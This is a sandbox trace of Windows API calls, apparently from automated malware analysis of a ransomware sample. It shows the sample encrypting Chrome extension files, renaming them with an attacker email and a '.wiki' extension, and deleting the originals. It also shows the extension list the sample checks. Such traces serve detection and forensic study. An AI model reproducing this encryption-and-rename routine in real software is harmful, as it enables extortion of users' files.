[0177.815] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.815] lstrlenW (lpString=".zip") returned 4 [0177.815] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".rar") returned 4 [0177.815] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".bz2") returned 4 [0177.815] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.815] lstrlenW (lpString=".7z") returned 3 [0177.815] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.815] lstrlenW (lpString=".dbf") returned 4 [0177.815] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.815] lstrlenW (lpString=".1cd") returned 4 [0177.815] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned 154 [0177.815] lstrlenW (lpString=".jpg") returned 4 [0177.815] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.816] lstrcmpiW (lpString1=".css", lpString2=".wiki") returned -1 [0177.816] lstrlenW (lpString="craw_window.css") returned 15 [0177.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.816] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1741) returned 1 [0177.816] CloseHandle (hObject=0x1ac) returned 1 [0177.816] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css")) returned 0x2020 [0177.816] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.817] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.817] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.817] GetLastError () returned 0x0 [0177.817] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x6cd, lpOverlapped=0x0) returned 1 [0177.819] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0177.820] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.820] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.820] SetEndOfFile (hFile=0x1a0) returned 1 [0177.820] CloseHandle (hObject=0x1a0) returned 1 [0177.820] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.820] SetEndOfFile (hFile=0x1ac) returned 1 [0177.821] CloseHandle (hObject=0x1ac) returned 1 [0177.821] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.821] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css")) returned 1 [0177.821] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.821] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.822] lstrlenW (lpString=".doc") returned 4 [0177.822] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString=".docx") returned 5 [0177.822] lstrcmpiW (lpString1=".docx", lpString2="w.css") returned -1 [0177.822] lstrlenW (lpString=".pdf") returned 4 [0177.822] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString=".xls") returned 4 [0177.822] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString=".xlsx") returned 5 [0177.822] lstrcmpiW (lpString1=".xlsx", lpString2="w.css") returned -1 [0177.822] lstrlenW (lpString=".ppt") returned 4 [0177.822] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.822] lstrlenW (lpString=".zip") returned 4 [0177.822] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString=".rar") returned 4 [0177.822] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString=".bz2") returned 4 [0177.822] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0177.822] lstrlenW (lpString=".7z") returned 3 [0177.822] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0177.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.822] lstrlenW (lpString=".dbf") returned 4 [0177.822] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0177.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.822] lstrlenW (lpString=".1cd") returned 4 [0177.822] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0177.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.822] lstrlenW (lpString=".jpg") returned 4 [0177.822] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString=".doc") returned 4 [0177.823] lstrcmpiW (lpString1=".doc", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString=".docx") returned 5 [0177.823] lstrcmpiW (lpString1=".docx", lpString2="w.css") returned -1 [0177.823] lstrlenW (lpString=".pdf") returned 4 [0177.823] lstrcmpiW (lpString1=".pdf", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString=".xls") returned 4 [0177.823] lstrcmpiW (lpString1=".xls", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString=".xlsx") returned 5 [0177.823] lstrcmpiW (lpString1=".xlsx", lpString2="w.css") returned -1 [0177.823] lstrlenW (lpString=".ppt") returned 4 [0177.823] lstrcmpiW (lpString1=".ppt", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString=".zip") returned 4 [0177.823] lstrcmpiW (lpString1=".zip", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString=".rar") returned 4 [0177.823] lstrcmpiW (lpString1=".rar", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString=".bz2") returned 4 [0177.823] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0177.823] lstrlenW (lpString=".7z") returned 3 [0177.823] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString=".dbf") returned 4 [0177.823] lstrcmpiW (lpString1=".dbf", lpString2=".css") returned 1 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString=".1cd") returned 4 [0177.823] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0177.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 149 [0177.823] lstrlenW (lpString=".jpg") returned 4 [0177.824] lstrcmpiW (lpString1=".jpg", lpString2=".css") returned 1 [0177.824] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0177.824] lstrlenW (lpString="craw_window.html") returned 16 [0177.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.824] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=810) returned 1 [0177.824] CloseHandle (hObject=0x1ac) returned 1 [0177.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html")) returned 0x2020 [0177.825] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.825] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.825] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.825] GetLastError () returned 0x0 [0177.825] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x32a, lpOverlapped=0x0) returned 1 [0177.827] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x330, lpOverlapped=0x0) returned 1 [0177.828] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0177.829] SetEndOfFile (hFile=0x1a0) returned 1 [0177.829] CloseHandle (hObject=0x1a0) returned 1 [0177.829] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.829] SetEndOfFile (hFile=0x1ac) returned 1 [0177.830] CloseHandle (hObject=0x1ac) returned 1 [0177.830] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.830] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html")) returned 1 [0177.830] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.830] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.830] lstrlenW (lpString=".doc") returned 4 [0177.830] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0177.830] lstrlenW (lpString=".docx") returned 5 [0177.830] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0177.830] lstrlenW (lpString=".pdf") returned 4 [0177.830] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0177.830] lstrlenW (lpString=".xls") returned 4 [0177.830] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0177.831] lstrlenW (lpString=".xlsx") returned 5 [0177.831] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0177.831] lstrlenW (lpString=".ppt") returned 4 [0177.831] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString=".zip") returned 4 [0177.831] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0177.831] lstrlenW (lpString=".rar") returned 4 [0177.831] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0177.831] lstrlenW (lpString=".bz2") returned 4 [0177.831] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0177.831] lstrlenW (lpString=".7z") returned 3 [0177.831] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString=".dbf") returned 4 [0177.831] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString=".1cd") returned 4 [0177.831] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString=".jpg") returned 4 [0177.831] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.831] lstrlenW (lpString=".doc") returned 4 [0177.831] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".docx") returned 5 [0177.832] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0177.832] lstrlenW (lpString=".pdf") returned 4 [0177.832] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".xls") returned 4 [0177.832] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".xlsx") returned 5 [0177.832] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0177.832] lstrlenW (lpString=".ppt") returned 4 [0177.832] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0177.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.832] lstrlenW (lpString=".zip") returned 4 [0177.832] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".rar") returned 4 [0177.832] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".bz2") returned 4 [0177.832] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0177.832] lstrlenW (lpString=".7z") returned 3 [0177.832] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0177.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.832] lstrlenW (lpString=".dbf") returned 4 [0177.832] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0177.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.832] lstrlenW (lpString=".1cd") returned 4 [0177.832] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0177.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 151 [0177.832] lstrlenW (lpString=".jpg") returned 4 [0177.832] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0177.833] lstrcmpiW (lpString1=".gif", lpString2=".wiki") returned -1 [0177.833] lstrlenW (lpString="flapper.gif") returned 11 [0177.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.836] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=70364) returned 1 [0177.836] CloseHandle (hObject=0x1ac) returned 1 [0177.836] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif")) returned 0x2020 [0177.836] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: 